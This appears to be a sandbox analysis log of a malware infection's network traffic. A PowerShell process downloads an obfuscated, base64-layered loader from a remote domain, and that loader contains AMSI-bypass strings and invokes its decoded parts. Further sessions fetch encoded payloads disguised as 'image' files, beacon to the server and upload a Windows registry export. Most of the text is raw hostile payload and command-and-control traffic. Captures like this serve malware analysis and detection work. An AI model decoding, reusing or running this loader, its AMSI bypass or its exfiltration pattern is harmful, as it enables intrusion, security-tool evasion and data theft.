                                                                                                                                          Content-Type: multipart/form-data; boundary=---------------------8dcffb647f026b9
                                                                                                                                          Content-Length: 5689
                                                                                                                                          Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 66 62 36 34 37 66 30 32 36 62 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 [TRUNCATED]
                                                                                                                                          Data Ascii: -----------------------8dcffb647f026b9Content-Disposition: form-data; name="file"; filename="regBackup.reg"Content-Type: application/octet-streamWindows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]"DependOnService"=hex(7):52,00,50,00,43,00,53,00,53,00,00,00,00,00"Description"="@%SystemRoot%\\System32\\termsrv.dll,-267""DisplayName"="@%SystemRoot%\\System32\\termsrv.dll,-268""ErrorControl"=dword:00000001"FailureActions"=hex:80,51,01,00,00,00,00,00,00,00,00,00,03,00,00,00,14,00,00,\ 00,01,00,00,00,60,ea, [TRUNCATED]
                                                                                                                                          Nov 8, 2024 11:29:14.944708109 CET828INHTTP/1.1 200 OK
                                                                                                                                          Content-Type: text/plain; charset=utf-8
                                                                                                                                          Server: Microsoft-IIS/10.0
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GI1T9jR7gf3%2BvjSsJu0TBfM6Q8GNDVnhuvGTtfnoL4s%2Br1AjU%2B4rUyJegIqPM0HvcUx1HrFFUdFkQob9eoB%2BGn0q4MIRuF5Iuon55SSlt4Elpwb5VhVzmaFW70XZg3MCvlJ%2Bv%2FyXQj%2BC"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          CF-RAY: 8df4e17ee842a08e-SIN
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=4275&sent=297&recv=217&lost=0&retrans=0&sent_bytes=249005&recv_bytes=32966&delivery_rate=8255250&cwnd=252&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Date: Fri, 08 Nov 2024 10:29:14 GMT
                                                                                                                                          Content-Length: 41
                                                                                                                                          Data Raw: 46 69 6c 65 20 72 65 67 42 61 63 6b 75 70 2e 72 65 67 20 75 70 6c 6f 61 64 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e
                                                                                                                                          Data Ascii: File regBackup.reg uploaded successfully.


                                                                                                                                          HTTPS Proxied Packets

                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          0192.168.11.2049708104.21.86.2194437764C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:12 UTC168OUTGET /0D0D HTTP/1.1
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Connection: Keep-Alive
                                                                                                                                          2024-11-08 10:27:13 UTC985INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:13 GMT
                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                          Content-Length: 6424
                                                                                                                                          Connection: close
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FTf8t%2B%2BxoylUvgPJncBAY8CE1DEtngQ2%2BDrKmNjYP5NlLBZgHQKLPkAPjN3mE17crpj1CrfhSp6gB9FZt5plxv7tQEmctybG09KO%2BfypkbIA7%2FsQoK1lrgPH7PEh%2Fd%2BC0Viol9JByP2m"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=40161&sent=34&recv=37&lost=0&retrans=0&sent_bytes=12776&recv_bytes=15869&delivery_rate=1697674&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4de84ea8e421d-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=102236&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=782&delivery_rate=37471&cwnd=252&unsent_bytes=0&cid=aa74cf3a24e8d698&ts=856&x=0"
                                                                                                                                          2024-11-08 10:27:13 UTC1369INData Raw: 24 63 70 77 73 69 76 75 73 6f 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 62 54 6c 31 59 6c 64 57 64 57 52 47 4d 44 5a 50 62 45 4a 35 59 6a 4a 4f 62 47 4d 7a 54 6e 5a 6a 61 30 35 32 5a 46 63 31 4d 45 39 33 4d 45 74 4b 52 31 46 6e 55 46 4e 42 62 31 49 79 56 6a 42 4d 56 6b 4a 35 59 6a 4a 4f 62 47 4d 7a 54 57 64 6d 51 30 4a 4f 57 6c 64 47 65 6d 52 59 53 6d 78 4d 56 54 6c 70 59 57 31 57 61 6d 52 44 61 33 56 52 4d 6a 6b 78 59 6d 35 52 4e 30 52 52 62 32 74 61 55 30 45 35 53 55 5a 30 56 47 56 59 54 6a 42 61 56 7a 42 31 56 6c 68 4b 63 46 68 55 62 7a 5a 53 57 45 35 71 57 56 68 43
                                                                                                                                          Data Ascii: $cpwsivuso=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bTl1YldWdWRGMDZPbEJ5YjJObGMzTnZja052ZFc1ME93MEtKR1FnUFNBb1IyVjBMVkJ5YjJObGMzTWdmQ0JOWldGemRYSmxMVTlpYW1WamRDa3VRMjkxYm5RN0RRb2taU0E5SUZ0VGVYTjBaVzB1VlhKcFhUbzZSWE5qWVhC
                                                                                                                                          2024-11-08 10:27:13 UTC1369INData Raw: 78 69 53 6b 64 73 5a 45 6c 44 4d 57 6c 6c 52 7a 6c 35 53 55 52 46 5a 30 52 52 63 44 6c 45 55 58 42 4b 59 6d 35 61 64 6d 45 79 56 58 52 53 57 47 68 33 59 32 31 57 65 6d 4d 79 62 48 5a 69 61 55 46 76 56 7a 46 4f 4e 57 4d 7a 55 6d 78 69 55 7a 56 56 57 6c 68 6f 4d 45 78 72 56 6e 56 5a 4d 6a 6c 72 59 56 63 31 62 6c 68 55 62 7a 5a 57 56 6c 4a 48 54 30 4d 31 53 46 70 59 55 6c 52 6b 53 45 70 77 59 6d 31 6a 62 30 70 48 53 6a 56 6b 52 31 5a 43 59 32 35 4b 61 47 56 54 61 33 42 45 55 57 38 39 22 29 29 3b 0a 24 77 6e 75 68 65 65 6a 67 6e 66 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22
                                                                                                                                          Data Ascii: xiSkdsZElDMWllRzl5SURFZ0RRcDlEUXBKYm5admEyVXRSWGh3Y21WemMybHZiaUFvVzFONWMzUmxiUzVVWlhoMExrVnVZMjlrYVc1blhUbzZWVlJHT0M1SFpYUlRkSEpwYm1jb0pHSjVkR1ZCY25KaGVTa3BEUW89"));$wnuheejgnf=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("
                                                                                                                                          2024-11-08 10:27:13 UTC1369INData Raw: 6d 35 52 5a 31 55 79 61 48 5a 6b 4d 57 52 77 59 6d 31 53 64 6d 52 35 61 45 70 69 62 6c 4a 52 5a 45 68 4a 5a 32 46 47 5a 48 56 61 51 33 64 6e 59 56 63 31 4d 45 6c 48 4e 55 52 69 56 31 4a 55 59 55 63 35 4d 30 74 55 63 32 64 58 4d 46 4a 7a 59 6b 56 73 64 47 4e 48 4f 58 6c 6b 51 32 64 70 5a 46 68 4f 62 47 4e 71 54 58 6c 4d 62 56 4a 7a 59 6b 4e 4a 63 46 68 54 51 6e 64 6b 56 30 70 7a 59 56 64 4e 5a 32 4d 7a 55 6d 68 6b 52 32 78 71 53 55 64 57 4e 47 52 48 56 6e 6c 69 61 55 4a 4b 59 6d 35 53 55 57 52 49 53 57 64 53 4d 6c 59 77 55 6d 30 35 65 56 70 58 5a 48 6c 69 4d 31 5a 31 57 6b 5a 6b 63 47 4a 74 55 6e 5a 6b 65 57 64 77 54 33 6c 43 4f 55 70 35 51 58 52 55 52 30 5a 31 57 6a 4e 57 61 46 6f 79 56 57 64 52 4d 55 35 76 57 56 68 4b 64 30 39 35 51 6d 4a 6b 62 54 6c 77
                                                                                                                                          Data Ascii: m5RZ1UyaHZkMWRwYm1SdmR5aEpiblJRZEhJZ2FGZHVaQ3dnYVc1MElHNURiV1JUYUc5M0tUc2dXMFJzYkVsdGNHOXlkQ2dpZFhObGNqTXlMbVJzYkNJcFhTQndkV0pzYVdNZ2MzUmhkR2xqSUdWNGRHVnliaUJKYm5SUWRISWdSMlYwUm05eVpXZHliM1Z1WkZkcGJtUnZkeWdwT3lCOUp5QXRUR0Z1WjNWaFoyVWdRMU5vWVhKd095QmJkbTlw
                                                                                                                                          2024-11-08 10:27:13 UTC900INData Raw: 38 3d 22 29 29 3b 0a 24 65 6a 64 66 6a 77 65 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 59 57 4a 73 5a 57 51 3d 22 29 29 3b 0a 24 7a 63 79 79 6f 6f 64 64 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 62 56 39 6c 62 67 3d 3d 22 29 29 3b 0a 24 64 6b 72 77 78 64 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79
                                                                                                                                          Data Ascii: 8="));$ejdfjwe=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YWJsZWQ="));$zcyyoodd=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bV9lbg=="));$dkrwxd=[System.Text.Encoding]::ASCII.GetString([Sy
                                                                                                                                          2024-11-08 10:27:13 UTC1369INData Raw: 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 63 32 6c 4a 62 6d 6c 30 52 6d 46 70 62 47 56 6b 22 29 29 3b 0a 24 66 74 74 64 68 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 59 57 30 3d 22 29 29 3b 0a 24 72 6a 61 69 67 7a 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 63 33 52 6c 62 53 35 4e 59 57 35 68 5a 32 56 74 5a 57 35 30 4c 6b 46
                                                                                                                                          Data Ascii: System.Convert]::FromBase64String("c2lJbml0RmFpbGVk"));$fttdh=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YW0="));$rjaigz=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("c3RlbS5NYW5hZ2VtZW50LkF
                                                                                                                                          2024-11-08 10:27:13 UTC48INData Raw: 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 28 24 77 6e 75 68 65 65 6a 67 6e 66 20 2b 20 24 63 70 77 73 69 76 75 73 6f 29 29 29 29 3b 0a
                                                                                                                                          Data Ascii: FromBase64String(($wnuheejgnf + $cpwsivuso))));


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          1192.168.11.2049709104.21.86.2194437764C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:15 UTC374OUTGET /file3/dd472caab8e99b4f3ecbbaed5468be96d4b65113c81a5ba828b859d3431071726be1ca9ca9b8a78d6914ddb868a9fcfdb6cd1ebb9981f9eea6fbb2ea280217e3a6b2dab9077cc67d4c6d442dfb381b418ef92deb8cc853e7799306c91091f2a7/Windows%20Defender/16/16/user/203 HTTP/1.1
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          2024-11-08 10:27:15 UTC1061INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:15 GMT
                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                          Content-Length: 2876
                                                                                                                                          Connection: close
                                                                                                                                          content-disposition: attachment; filename=image; filename*=UTF-8''image
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tB%2BYCB8UStCW7Znjh0eEhjjTOc5EaMElGFGpwzk%2FmdocLE182r9hDJyzwM3alEmAnQFvjdH9vUb%2BpN2Jzea50Q%2BXpESlef2kI6xnvr25fsoqLCGdb5GG%2BL6eK61MFMs9bWtHAeahheGN"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1937&sent=6728&recv=3396&lost=0&retrans=0&sent_bytes=9392417&recv_bytes=14393&delivery_rate=23294523&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4de946bd44213-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=102878&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=1012&delivery_rate=37165&cwnd=252&unsent_bytes=0&cid=b5bc0010e8348f0b&ts=832&x=0"
                                                                                                                                          2024-11-08 10:27:15 UTC308INData Raw: 25 6b 77 6d 72 6d 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 56 6d 53 5b 4f 54 34 54 60 7b 4f 4f 64 6a 71 6e 55 6a 53 43 4c 44 34 54 50 59 69 5b 60 6d 57 32 56 57 65 4f 4f 57 6d 59 57 6c 30 51 57 30 44 7b 55 59 71 57 4c 44 34 37 52 59 71 5b 57 47 5b 75 56 6c 30 46 60 31 30 44 56 55 57 60 53 47 47 32 55 6c 30 4e 63 44 34 59 53 59 65 4e 57 46 72 79 55 6c 71 6f 64 44 34 59 55 6c 71 5b 60 6d 6a 76 55 6a 65 60 60 54 34 75 55 6c 69 4f 53 44 30 35 55 6c 30 56 63 47 71 54 57 59 71 4e 57 46 62 7b 56 59 71 57 4c 57 6a 78 57 59 6d 4e 57 44 4b 71 56 6d 53 6e 60 44 30 37 57 55 4b 5b
                                                                                                                                          Data Ascii: %kwmrm<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#VmS[OT4T`{OOdjqnUjSCLD4TPYi[`mW2VWeOOWmYWl0QW0D{UYqWLD47RYq[WG[uVl0F`10DVUW`SGG2Ul0NcD4YSYeNWFryUlqodD4YUlq[`mjvUje``T4uUliOSD05Ul0VcGqTWYqNWFb{VYqWLWjxWYmNWDKqVmSn`D07WUK[
                                                                                                                                          2024-11-08 10:27:15 UTC1369INData Raw: 32 62 76 52 31 53 53 63 31 34 45 5b 7b 43 4d 56 6c 34 56 65 57 6a 7b 54 6f 43 68 4c 6b 53 6f 57 55 4b 56 65 57 71 45 50 6b 65 44 54 56 38 6f 52 54 4f 43 5b 33 4f 49 53 6f 6d 5b 57 7b 43 77 52 54 5b 31 54 57 54 76 4e 56 6d 69 63 57 5b 70 5b 44 58 76 5b 31 71 49 64 49 5b 60 4c 45 47 37 56 6f 6d 43 62 44 53 53 63 31 34 45 60 54 47 6f 52 54 4f 43 60 6a 6d 47 55 6f 5b 68 63 6d 71 72 58 33 34 53 5b 30 6d 75 4e 56 75 6d 54 31 48 76 58 6f 6d 42 64 6c 53 48 52 6f 43 68 63 56 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 75 6b 4c 30 4b 34 58 57 62 30 63 6d 47 75 4e 56 75 6d 54 31 44 34 52 54 5b 31 64 6c 53 48 52 6f 43 68 63 56 53 6a 52 31 4f 52 62 33 48 78 5b 44 34 6b 4c 6c 4f 6f 5b 6a 4f 42 53 46 48 78 4f 55 4b 60 56 44 6e 76 57 6a 62 35 65 47 4f 74 55 6f 5b 68 60 56 72 32
                                                                                                                                          Data Ascii: 2bvR1SSc14E[{CMVl4VeWj{ToChLkSoWUKVeWqEPkeDTV8oRTOC[3OISom[W{CwRT[1TWTvNVmicW[p[DXv[1qIdI[`LEG7VomCbDSSc14E`TGoRTOC`jmGUo[hcmqrX34S[0muNVumT1HvXomBdlSHRoChcVONP3mC[1mEPVukL0K4XWb0cmGuNVumT1D4RT[1dlSHRoChcVSjR1ORb3Hx[D4kLlOo[jOBSFHxOUK`VDnvWjb5eGOtUo[h`Vr2
                                                                                                                                          2024-11-08 10:27:15 UTC1199INData Raw: 75 68 4c 33 53 30 58 6a 62 34 60 47 71 45 50 56 75 6a 56 44 71 76 52 56 71 7b 55 6a 4f 6f 60 31 71 4a 53 31 34 33 58 6c 34 52 63 46 4b 74 54 56 65 50 54 31 4b 4a 58 6c 34 60 65 6c 44 78 57 59 53 56 4c 6d 5b 71 57 56 30 56 64 46 53 59 57 6f 71 6a 50 31 47 31 57 6d 69 4a 62 44 6d 45 54 6b 47 6b 63 56 75 6f 55 47 5b 56 64 6d 71 57 52 6c 69 6b 4c 6c 79 70 57 54 65 46 64 56 4c 78 63 49 57 60 64 6f 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 6a 65 4a 4f 56 53 49 57 6a 4b 6b 63 6a 71 6e 5b 57 4f 43 4e 54 6d 45 54 6c 71 68 4c 6b 54 76 56 6d 62 30 4c 44 79 75 55 6f 5b 68 63 6d 4b 72 58 6c 34 53 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 49 56 6f 5b 6b 60 54 47 77 52 6a 65 73 5b 30 43 55 50 59 65 51 64 54 47 73 58 57 4f 43 65 46 4b 48 54
                                                                                                                                          Data Ascii: uhL3S0Xjb4`GqEPVujVDqvRVq{UjOo`1qJS143Xl4RcFKtTVePT1KJXl4`elDxWYSVLm[qWV0VdFSYWoqjP1G1WmiJbDmETkGkcVuoUG[VdmqWRlikLlypWTeFdVLxcIW`doONP3mC[1mEPVeKP1GoRjeJOVSIWjKkcjqn[WOCNTmETlqhLkTvVmb0LDyuUo[hcmKrXl4SO1SSc3eKP1GoRTOC[1mIVo[k`TGwRjes[0CUPYeQdTGsXWOCeFKHT


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          2192.168.11.2049710104.21.86.2194437764C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:16 UTC290OUTPOST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c3211858bdbbe78fe8056a5c18be2255745218 HTTP/1.1
                                                                                                                                          Content-Type: application/json
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Content-Length: 308
                                                                                                                                          2024-11-08 10:27:16 UTC308OUTData Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 75 79 74 31 6e 38 64 65 64 39 66 62 33 38 30 2e 63 6f 6d 2f 66 69 6c 65 32 2f 34 30 31 36 32 39 31 62 64 30 62 35 36 38 61 32 33 32 39 64 30 35 37 66 32 37 37 33 63 33 66 30 64 63 66 31 31 62 37 35 35 38 34 39 35 32 38 31 36 36 61 62 65 31 32 34 38 38 64 38 30 61 61 34 30 33 34 66 64 35 39 31 62 66 65 37 64 64 33 32 65 63 62 38 61 31 33 37 63 31 36 63 30 32 36 35 38 32 38 30 31 62 39 35 35 37 36 65 31 63 32 30 38 34 65 36 39 35 39 37 33 32 61 34 30 34 35 30 31 62 35 30 61 63 39 61 65 66 39 64 37 33 35 34 37 32 33 61 35 66 66 61 64 30 36 39 64 34 30 36 63 65 35 61 30 35 39 35 36 38 31 35 63 63 62 36 34 34 66 62 36 63 61 30 33 31 36 65 65 65 35 33 35 38 37 63
                                                                                                                                          Data Ascii: [ "\"begin download https://uyt1n8ded9fb380.com/file2/4016291bd0b568a2329d057f2773c3f0dcf11b755849528166abe12488d80aa4034fd591bfe7dd32ecb8a137c16c026582801b95576e1c2084e6959732a404501b50ac9aef9d7354723a5ffad069d406ce5a05956815ccb644fb6ca0316eee53587c
                                                                                                                                          2024-11-08 10:27:17 UTC936INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:17 GMT
                                                                                                                                          Content-Length: 0
                                                                                                                                          Connection: close
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IMnXR3KI%2FO8Sb9xUqaOMSLoiLbdlADeX6EkmTt4PwQR1aCT3BmB%2Fl%2BLhsPxrqAV38OuHgR%2BaX4Na9ftNj6fFfDlelHE1yRSBaGL3%2BfFSMgFIUD6rd3urmfrvcj6a65Pg10UEzVNcteVD"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=46856&sent=32&recv=33&lost=0&retrans=0&sent_bytes=11996&recv_bytes=9478&delivery_rate=53308&cwnd=256&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4de9bdada7ce2-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=102777&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=1258&delivery_rate=37169&cwnd=251&unsent_bytes=0&cid=f6d530787126ecc9&ts=834&x=0"


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          3192.168.11.2049711104.21.86.2194437764C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:17 UTC370OUTGET /file2/4016291bd0b568a2329d057f2773c3f0dcf11b755849528166abe12488d80aa4034fd591bfe7dd32ecb8a137c16c026582801b95576e1c2084e6959732a404501b50ac9aef9d7354723a5ffad069d406ce5a05956815ccb644fb6ca0316eee53587c55ce250be8a356c20de6996f2ded HTTP/1.1
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          2024-11-08 10:27:18 UTC1057INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:18 GMT
                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                          Content-Length: 2878
                                                                                                                                          Connection: close
                                                                                                                                          content-disposition: attachment; filename=image; filename*=UTF-8''image
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vi8k%2F2m92%2BzMoZr8QENt%2BeSILFkifeT90icbdoHpxJxBSlXzfkBy7dU5AvH3GKnZbyh4yaAejG20KL2%2Bas%2FmqkhXk6E0bFSVk1vwhGs3a5eBNGX5LZkUwkpowQCFKOK%2FYxjHChXT4LRG"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=43974&sent=55&recv=51&lost=0&retrans=0&sent_bytes=21582&recv_bytes=22276&delivery_rate=2718808&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4dea2ba472030-IAD
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=108586&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=1008&delivery_rate=35149&cwnd=220&unsent_bytes=0&cid=faf04e8e78890c53&ts=857&x=0"
                                                                                                                                          2024-11-08 10:27:18 UTC312INData Raw: 25 68 77 72 6a 72 63 7b 64 78 69 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 50 31 47 6f 52 6a 65 31 63 46 57 55 50 55 6d 4b 50 31 71 44 58 6b 48 30 4c 47 71 59 4f 55 43 4c 57 6d 48 30 58 31 65 57 60 54 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 52 4c 6d 6d 59 64 45 47 60 54 31 44 34 52 54 4f 4a 60 46 4f 48 50 6f 4f 69 57 31 34 6e 5b 44 65 72 65 6c 4b 71 4e 59 47 6b 4c 6b 6d 30 52 56 71 7b 55 6a 4f 6f 4c 44 75 4b 50 31 47 6f 52 54 4f 52 63 30 71 59 53 6c 75 60 56 44 71 37 57 32 6d 52 62 6d 71 58 63 46 53 4b 53 45 43 6f 52 6a 69 60 60 46 4b 48 57 6c 79 51 65 7b 43 4d 52 54 4f
